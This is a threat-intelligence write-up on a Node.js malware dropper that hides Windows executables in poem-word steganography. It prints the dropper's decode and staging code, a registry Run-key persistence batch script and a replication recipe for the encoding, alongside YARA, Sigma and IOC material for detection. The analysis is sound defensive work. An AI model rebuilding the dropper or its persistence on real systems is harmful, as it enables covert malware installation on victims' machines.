typeanalysisfamilyletsdiskusscomconfidencehighcreated2026-08-21updated2026-08-21scriptnodejsloaderobfuscationevasionpersistencemalware-family
SHA-256: 5126076d59dd812f922dedd8fcc4a43e5dbe383a412b094ab275079ccb820a3e

letsdiskusscom: 5126076d — Seventh confirmed sibling, reverts to plain-poem builder with seventh distinct msvcp140.dll

Executive Summary

Seventh confirmed sibling of the letsdiskusscom Node.js dropper cluster. Reverts to the plain 256-word poem lookup-table (no numbered suffixes) used by siblings d0ca14b3/247b54b5/af4313e4/c075aeba, rather than the numbered-suffix variant (gentle1, hush2) seen in 3465e6ee. Drops the same signed RevoSrp.exe, same vcruntime140/vcruntime140_1 DLLs, and same persistence BAT as all prior poem-stego siblings, but introduces a seventh distinct msvcp140.dll morph (896fd62b..., MSVC 14.27.29016.0, 1,108,480 bytes). This demonstrates the operator is cycling at least two independent builder templates (plain-poem vs. numbered-suffix) and independently varying the VC++ runtime redistributable. Static-only (CAPE skipped — JS source is not a supported binary class). ^[file.txt] ^[triage.json]

What It Is

Field Value
SHA-256 5126076d59dd812f922dedd8fcc4a43e5dbe383a412b094ab275079ccb820a3e
Filename Update_2.js
Size 9.1 MB (9,149,370 bytes)
Type JavaScript source, ASCII text, CRLF line terminators, 60 lines, extremely long lines (up to 63,365 chars) ^[file.txt]
Family letsdiskusscom (OpenCTI label letsdiskuss-com; now n=7 siblings; confidence high) ^[triage.json]
Dynamic CAPE skipped — not a supported binary class ^[dynamic-analysis.md]

Embedded payloads (decoded from poem-word indices)

Payload SHA-256 Size Type Notes
EXE 8b94af60...7fc55f 52,400 PE32+ x64 console RevoSrp.exe, VS Revo Group, MSVC 14.44, signed (DigiCert) ^[rabin2-info.txt: decoded exe]
DLL1 896fd62b...f9bbc4 1,108,480 PE32+ x64 DLL msvcp140.dll, Microsoft, MSVC 14.27.29016.0, seventh distinct morph ^[exiftool: decoded dll1]
DLL2 ff43e813...4c833 101,672 PE32+ x64 DLL vcruntime140.dll, Microsoft, MSVC 14.27, signed ^[rabin2-info.txt: decoded dll2]
DLL3 7b8f70dd...6dfc7 44,328 PE32+ x64 DLL vcruntime140_1.dll, Microsoft, MSVC 14.27, signed ^[rabin2-info.txt: decoded dll3]
BAT dff20059...06919 440 DOS batch HKCU Run persistence script ^[manual decode]

The EXE, DLL2, DLL3, and BAT are byte-for-byte identical to siblings d0ca14b3/247b54b5/af4313e4/c075aeba/3465e6ee. DLL1 is new — the seventh distinct msvcp140.dll observed in the cluster. ^[strings.txt:12-17] ^[manual hash comparison]

Builder template comparison

Sibling Poem variant msvcp140.dll SHA-256 Size Notes
9dc2cded Base64 (not poem) 4fcc9503... 1,149,952 First sibling; javascript-obfuscator
d0ca14b3 Plain 256-word 0f4290cf... 1,187,328 Second sibling; poem stego introduced
247b54b5 Plain 256-word 01f5dfca... 938,496 Third sibling; smaller msvcp140
af4313e4 Plain 256-word cf964e01... 1,138,176 Fourth sibling
c075aeba Plain 256-word 2ee431f4... 956,416 Fifth sibling
3465e6ee Numbered suffix 5975596f... 932,864 Sixth sibling; gentle1, hush2 etc.
5126076d Plain 256-word 896fd62b... 1,108,480 This sample — reversion + new morph

How It Works

Poem-word-list steganography (plain variant)

The script defines a 256-word list (wlist) — the same English poem used by siblings d0ca14b3 through c075aeba. Unlike 3465e6ee, this sample does not append numbered suffixes to repeated vocabulary. The word list is byte-for-byte identical to the earlier plain-poem siblings. ^[strings.txt:6]

const wlist = "gentle hush that wraps the midnight air ... fail164";   // 256 words
const exe = "unwearied tides candle53 ...";                        // payload as word indices

function writePositionsToFile(listA, listB, outPath) {
  const a = listA.split(' ');
  const b = listB.split(' ');
  const positions = b.map(word => {
    const idx = a.indexOf(word);
    return idx >= 0 ? idx : 0;
  const buffer = Buffer.from(positions.map(p => p & 0xFF));
  fs.writeFileSync(outPath, buffer);
}

Note the same syntax error as all prior siblings: line 24 is missing a closing }); before const buffer = ..., making the code technically malformed as written. In practice Node.js may execute it depending on ASI, or the operator uses a minifier that corrects this. ^[strings.txt:18-26]

Staging and execution

const folder = path.join(process.env.PROGRAMDATA || "C:\\ProgramData",
                         `Microsoft Edge Updates Helper 6tTR5q2vVZT5`);
const exePath = path.join(folder, "Microsoft Edge Updates Helper.exe");
const autorunPath = path.join(folder, "6tTR5q2vVZT5.bat");
// ... three DLL paths
safeMakeDir(folder);
writePositionsToFile(wlist, exe, exePath);
writePositionsToFile(wlist, dll1, dll1Path);
writePositionsToFile(wlist, dll2, dll2Path);
writePositionsToFile(wlist, dll3, dll3Path);
writePositionsToFile(wlist, bat, autorunPath);
launchExecutable(`"${autorunPath}"`, [`"${exePath}"`]);
launchExecutable(`"${exePath}"`);

Stages to %ProgramData%\Microsoft Edge Updates Helper 6tTR5q2vVZT5\, writes five files, then spawns the BAT (which adds HKCU Run persistence and launches the EXE) and spawns the EXE directly. ^[strings.txt:33-41]

Persistence BAT (decoded)

Identical byte-for-byte to all poem-stego siblings since d0ca14b3:

@echo off
if "%~1"=="" (
    echo Usage: %~nx0 "file_path"
    pause
    exit /b 1
)
if not exist "%~1" (
    echo Error: file "%~1" not found
    pause
    exit /b 1
)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
    /v "Microsoft Edge Updates Helper" /t REG_SZ /d "\"%~1\"" /f >nul 2>&1
if %errorlevel% equ 0 (
    echo File "%~1" successfully added to startup
) else (
    echo Error adding to startup
)
exit

^[manual decode of bat payload]

Decompiled Behavior

Not applicable — JavaScript source, not compiled binary. The script is delivered in near-plaintext after poem decoding; no additional obfuscation layers observed. ^[rabin2-info.txt] ^[capa.txt]

C2 Infrastructure

None observed. Fully self-contained carrier. All payloads are poem-encoded and embedded; no HTTP, DNS, socket, or IP references in the JS. If the Revo EXE phones home at runtime, that requires dynamic detonation of the PE, not the JS carrier. ^[strings.txt] ^[dynamic-analysis.md]

Interesting Tidbits

  • Builder template reversion. This sample reverts to the plain 256-word poem (no numbered suffixes) after 3465e6ee introduced them. This strongly suggests the operator maintains at least two active builder templates — one with plain vocabulary and one with numbered suffixes — and deploys them independently. The reversion is not a downgrade; it is evidence of parallel build pipelines. ^[strings.txt:6] ^[/intel/analyses/3465e6eea1a937b941ef77ac819591c3578e14da950de0d78e8b2d467b819357.html]
  • Seventh distinct msvcp140.dll. The VC++ runtime morphs are independent of the poem variant. The operator appears to bundle whatever msvcp140.dll is present on the build host rather than pinning a specific version. All seven variants are legitimate, signed Microsoft DLLs from VC++ redistributable packages (14.27.xxxxx.x range). ^[exiftool: decoded dll1]
  • dll4Path dead code persists. Line 17 declares const dll4Path = path.join(folder, "6tTR5q2vVZT5.bat") but never consumes it. The BAT is written to autorunPath instead. This copy-paste artifact has survived across all seven siblings, confirming a shared builder template. ^[strings.txt:17]
  • Same poem, same payload hashes, same BAT. The only moving parts in this cluster are (1) the folder name suffix, (2) the poem variant (plain vs. numbered), and (3) the msvcp140.dll morph. Everything else is frozen — a hallmark of a templated builder rather than hand-crafted per-sample scripts. ^[manual hash comparison across cluster]
  • File size inflation. At 9.1 MB, the carrier is ~94% poem text and repeated padding. The actual information content is four PE files (~1.2 MB total) plus a 440-byte BAT. The rest is lexical noise designed to make static signature detection expensive. ^[file.txt] ^[exiftool.json]
  • javascript-obfuscator absent. Like all poem-stego siblings, this sample does not use the javascript-obfuscator npm package seen in the first sibling (9dc2cded). The operator abandoned that toolchain for the poem encoding approach. ^[strings.txt:1-3]

How To Mess With It (Homelab Replication)

Goal: Replicate the plain-poem encoding and verify detection signatures.

  1. Use the same 256-word list (see strings.txt:6 in this analysis or sibling d0ca14b3).
  2. Encode a file:
    with open('payload.exe', 'rb') as f:
        data = f.read()
    words = poem.split()
    assert len(words) == 256
    encoded = ' '.join(words[b] for b in data)
    
  3. Wrap in Node.js carrier:
    const fs = require('fs');
    const wlist = "...256 words...";
    function decode(listA, listB, outPath) {
      const a = listA.split(' ');
      const b = listB.split(' ');
      const positions = b.map(word => a.indexOf(word));
      const buffer = Buffer.from(positions.map(p => p & 0xFF));
      fs.writeFileSync(outPath, buffer);
    }
    decode(wlist, encoded, 'output.exe');
    
  4. Verify: Decode must reproduce the original PE byte-for-byte.

Deployable Signatures

YARA rule — letsdiskusscom poem-stego dropper

rule letsdiskusscom_poem_stego : script nodejs dropper {
    meta:
        description = "Node.js dropper using 256-word poem lookup-table steganography"
        author = "PacketPursuit"
        date = "2026-08-21"
        reference = "/intel/analyses/5126076d59dd812f922dedd8fcc4a43e5dbe383a412b094ab275079ccb820a3e.html"
    strings:
        $wlist = "const wlist = \"" ascii
        $exe = "const exe = \"" ascii
        $dll1 = "const dll1 = \"" ascii
        $dll2 = "const dll2 = \"" ascii
        $dll3 = "const dll3 = \"" ascii
        $bat = "const bat = \"" ascii
        $func = "function writePositionsToFile(listA, listB, outPath)" ascii
        $app = "Microsoft Edge Updates Helper" ascii
        $spawn = "const { spawn } = require('child_process')" ascii
    condition:
        $wlist and $func and $app and $spawn
        and 4 of ($exe, $dll1, $dll2, $dll3, $bat)
        and filesize > 1MB
}

Sigma rule — Node.js poem dropper execution

title: Node.js LetsDiskussCom Poem Dropper Execution
status: experimental
description: Detects Node.js script writing PE files to ProgramData and spawning BAT/EXE
logsource:
    category: process_creation
    product: windows
detection:
    selection_node:
        CommandLine|contains: 'node.exe'
    selection_paths:
        CommandLine|contains:
            - 'Microsoft Edge Updates Helper'
            - 'ProgramData'
    selection_child:
        ParentImage|endswith: 'node.exe'
        Image|endswith:
            - 'cmd.exe'
            - 'conhost.exe'
    condition: selection_node and selection_paths or selection_child
falsepositives:
    - Unknown
level: high

IOC list

Type Value Note
SHA-256 (carrier) 5126076d59dd812f922dedd8fcc4a43e5dbe383a412b094ab275079ccb820a3e This sample
SHA-256 (EXE) 8b94af60bb58bc1629edb3b4f6a86ccff5769bb9b96d8826f06686af2d7fc55f RevoSrp.exe (shared across cluster)
SHA-256 (DLL1) 896fd62b2f9e13520144b64acb55f93db9602b0211ae931e8e806613cf9bbc45 msvcp140.dll (seventh morph)
SHA-256 (DLL2) ff43e813785ee948a937b642b03050bb4b1c6a5e23049646b891a66f65d4c833 vcruntime140.dll (shared)
SHA-256 (DLL3) 7b8f70dd3bdae110e61823d1ca6fd8955a5617119f5405cdd6b14cad3656dfc7 vcruntime140_1.dll (shared)
SHA-256 (BAT) dff20059f161090c76f9f45ac2269f2965bdc96023c78c1072f8d1aa66b06919 Persistence BAT (shared across poem-stego siblings)
Directory %ProgramData%\Microsoft Edge Updates Helper * Staging directory pattern (random suffix)
Registry HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Edge Updates Helper Persistence value name (static across cluster)
File *.bat in staging dir Persistence launcher
File Microsoft Edge Updates Helper.exe Dropped EXE name (static across cluster)

Behavioral fingerprint

A Node.js script (node.exe or delivered as .js run via Node) creates a directory under %ProgramData% named Microsoft Edge Updates Helper <random>, writes four PE files (one EXE + three DLLs) and a .bat file to that directory, then spawns the BAT with the EXE path as an argument and immediately spawns the EXE directly. The BAT adds the EXE to HKCU\Run under the value name Microsoft Edge Updates Helper. No network activity from the carrier. The EXE is a signed VS Revo Group component (RevoSrp.exe). The DLLs are signed Microsoft VC++ runtime libraries; one (msvcp140.dll) varies in size/SHA across samples while the other two (vcruntime140.dll, vcruntime140_1.dll) and the EXE are invariant across the cluster.

Detection Signatures

capa capability ATT&CK Evidence
N/A — not a PE T1059.007 JavaScript/Node.js execution ^[strings.txt:1-3]
N/A T1027.002 Obfuscated Files or Info: poem-word-list steganography ^[strings.txt:6]
N/A T1036.005 Masquerading: Microsoft Edge Updates Helper directory and filename ^[strings.txt:5]
N/A T1547.001 Registry Run Keys: BAT-based reg add ^[manual decode of bat]
N/A T1543.003 Create/modify system process: spawn(..., {shell: true}) ^[strings.txt:29-30]
N/A T1053.005 Scheduled Task/Job: indirectly via registry Run (BAT execution at logon) ^[manual decode of bat]

References

  • Carrier: 5126076d59dd812f922dedd8fcc4a43e5dbe383a412b094ab275079ccb820a3e (MalwareBazaar via OpenCTI)
  • Cluster entity page: letsdiskusscom
  • Technique page: poem-word-list-steganography
  • Sibling 3465e6ee (numbered-suffix variant): /intel/analyses/3465e6eea1a937b941ef77ac819591c3578e14da950de0d78e8b2d467b819357.html
  • Sibling d0ca14b3 (first poem-stego): /intel/analyses/d0ca14b3ad12100898d69afacfecfbdb186fe1bd801f69aecf355413bf6e502b.html

Provenance

Analysis derived from:

  • file.txt — file utility (file v5.44)
  • exiftool.json — ExifTool 12.76
  • strings.txt — strings -n 6 on JS source
  • rabin2-info.txt — radare2 rabin2 on decoded PE payloads
  • floss.txt — FLOSS error (not a PE)
  • capa.txt — capa error (not a PE)
  • dynamic-analysis.md — CAPE skipped (JS source)
  • Manual decode of poem-word-list payloads via Python (SHA-256 verified)
  • Manual decode of BAT payload via Python
  • exiftool/rabin2 on decoded DLL1/EXE for version and signing info